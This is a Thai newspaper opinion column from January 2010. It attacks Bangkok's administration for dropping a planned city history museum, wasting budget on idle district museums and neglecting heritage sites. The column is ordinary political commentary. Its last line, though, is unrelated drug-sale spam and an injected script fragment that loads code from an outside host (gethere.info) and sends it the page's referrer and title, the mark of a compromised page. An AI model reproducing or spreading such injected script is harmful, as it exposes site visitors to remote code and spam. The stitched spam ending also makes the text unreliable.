ฉบับประจำวันพุธที่ 27 มกราคม 2553
ผู้ว่าฯ กทม. (กรุงเทพมหานคร)คนก่อนเคยประกาศโฆษณาว่ามีโครงการ กรุงเทพฯศึกษา เพื่อแบ่งปันเผยแพร่ความรู้ประวัติศาสตร์สังคมวัฒนธรรมของรัตนโกสินทร์กับกรุงธนบุรี แล้วเตรียมข้อมูลประวัติศาสตร์จัดพิพิธภัณฑ์กรุงเทพฯที่ศาลาว่าการฯ เสาชิงช้า มีนักวิชการครูบาอาจารย์มหาวิทยาลัยต่างๆและผู้รู้เป็นกรรมการน่าเชื่อถือ

พอสื่อมวลชนเสนอข่าวครึกโครมจนผู้ว่าฯพอใจแล้วก็จบแค่นั้น ไม่มีอะไรอีกจนบัดนี้  ที่แถลงว่าจะทำไอ้โน่นจะทำไอ้นี่ไม่มีอะไรเกิดขึ้นเลย เท่ากับ“ถ่มน้ำลายรดฟ้า” แล้วตกใส่หน้าตัวเอง (ซึ่งเป็นผู้บริหารพรรคประชาธิปัตย์)

“เสน่ห์บางกอก”ของคนปลายซอย เปลว สีเงิน เขียนบอกไว้ในไทยโพสต์ (ฉบับวันพุธที่ 20 มกราคม 2553 หน้า 5) ไปในทิศทางเดียวโดยบังเอิญกับสิ่งที่คณะกรุงเทพฯศึกษาทำไว้ให้ผู้บริหาร กทม. ครั้งนั้น โดยสรุปว่า กรุงเทพฯ คือ“ห้องรับแขก”ของประเทศไทย ที่มีแขกนานาชาติ(นักท่องเที่ยว)มาดู“ของเก่า”ในความเป็นกรุงเทพฯหรือบางกอกในภาพรวมที่เรียกว่า“กรุงรัตนโกสินทร์”เมื่อร้อย-สองร้อยปีที่ผ่านมา  “ไม่ได้มาดูตึกสูง มาดูรัฐสภา สัมปายสถาน มาดูแพนด้า หรือมาดูระบำจ้ำบ๊ะอะไร”

พี่เปลวเขียนย้ำว่า  “เห็นแต่ที่เขาหลั่งไหลมากัน เพราะแรงดึงดูดจากวัดดั้งเดิม ศิลปวัฒนธรรมดั้งเดิม ชุมชนดั้งเดิม โบราณสถานดั้งเดิม”

 “ประเทศไทย พูดให้แคบลงมาคือ ‘ธุรกิจท่องเที่ยว’ หากินกับของเก่าคือวัด หากินกับอารยธรรมดั้งเดิมมาตลอด แต่รัฐบาลหรือการท่องเที่ยวมีงบไม่รู้ กี่พัน-กี่หมื่นล้าน ไปทุ่ม-ไปประเคนสารพัดที่ แต่กับวัด กับชุมชนดั้งเดิม แหล่งศิลปวัฒนธรรมดั้งเดิม ไม่เห็นไปอีนังขังขอบ”

ตรงนี้ขอฟ้องพี่เปลวว่าขนาดเมืองอู่ทอง (ที่ อ. อู่ทอง จ. สุพรรณบุรี) มีหลักฐานเต็มไปหมดว่าเป็นเมืองมีอายุเก่าแก่สุด มีพัฒนาการราว 3,000 ปีมาแล้ว ในบริเวณลุ่มน้ำเจ้าพระยา แล้วยังเป็นบริเวณ“สุวรรณภูมิ”ในเอกสารลังกา ที่ประดิษฐานพระพุทธศาสนาเก่าที่สุด รัฐบาลทุกยุคทุกสมัยยังทิ้งขว้างให้เหมือนป่าช้า (คำว่า ช้า แปลว่าเลวทราม เช่น เลวทรามต่ำช้า) ตราบจนทุกวันนี้

เกี่ยวกับ กทม. ที่มีแหล่งมรดกวัฒนธรรมคับคั่ง พี่เปลวแนะนำว่า

“ให้แต่ละเขตรักษาสิ่งที่มีอยู่เดิมไว้ให้ดี

ในขณะเดียวกันเสริมความสะอาด ความเป็นระเบียบ ความสะดวก และความปลอดภัยเข้าไป แล้วฉีดวัคซีนปัญญาให้ชาวบ้านในแต่ละชุมชนท้องถิ่นด้วย ‘หมั่นประชุมคุยกัน’

ให้เขารู้ ให้เขาเห็นคุณค่าในสิ่งที่เขามองข้าม เพราะความจำเจที่เห็นมาแต่อ้อนแต่ออกให้ความรู้-ความเข้าใจกับเขา แล้วในที่สุดเขาจะมองทะลุอิฐ หิน ดิน ปูน เข้าไปในเพชรล้ำค่าที่พวกเขาต้องช่วยกันถนอมรักษาเอง”

แค่“หมั่นประชุมคุยกัน” มันไม่มีเบี้ยบ้ายรายทางให้มีส่วนเกินมากพอที่ต้องการ ผู้บริหาร กทม. เลยกำหนดให้สร้าง“พิพิธภัณฑ์ท้องถิ่น”ประจำเขตต่างๆ หมายจะให้ทั่ว กทม. 50 เขตๆละเท่าไร? รวมเป็นเท่าไร? ให้คิดกันเอง

เมื่อสร้างสำเร็จ ต้องตีปี๊บทำพิธีเปิดให้สื่อมวลชนไปถ่ายรูปตอนเช้า เสร็จแล้วก็ให้ภารโรง-ชาวบ้าน ทำพิธีปิดกันเองในตอนเย็นตั้งแต่วันนั้นจนวันนี้ ฉะนั้นพิพิธภัณฑ์ไม่มีอะไรให้ชาวบ้านแลกเปลี่ยนเรียนรู้

ส่วนเกินงบก่อสร้างได้แบ่งปันกันแล้ว แต่ไม่มีความรู้แบ่งปัน นานเข้าพิพิธภัณฑ์เขตก็เพพัง พิพิธภัณฑ์กรุงเทพฯ ยังไม่มี แต่ดันทะลึ่งผลาญเงินทำพิพิธภัณฑ์เขตก่อน

อนิจจา นี่น่ะหรือที่คุยโม้ พรรคประชาธิปัตย์ไม่โกงกิน  

กรุงเทพฯ สมาธิสั้น ความจำสั้น เลยไม่มีพิพิธภัณฑ์กรุงเทพฯ จัดแสดงบอกเล่าความเป็นมาเกือบ 700 ปีมาแล้ว ตั้งแต่ยุคต้นกรุงศรีอยุธยา (บน) คนกรุงเทพฯสมัยก่อน ลอยเรือในแม่น้ำเจ้าพระยา (ล่าง) คนกรุงเทพฯ ตื่นเต้นดูรถรางสมัยแรกๆ

fluoxetine hair loss buy azithromycin 500mg online s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;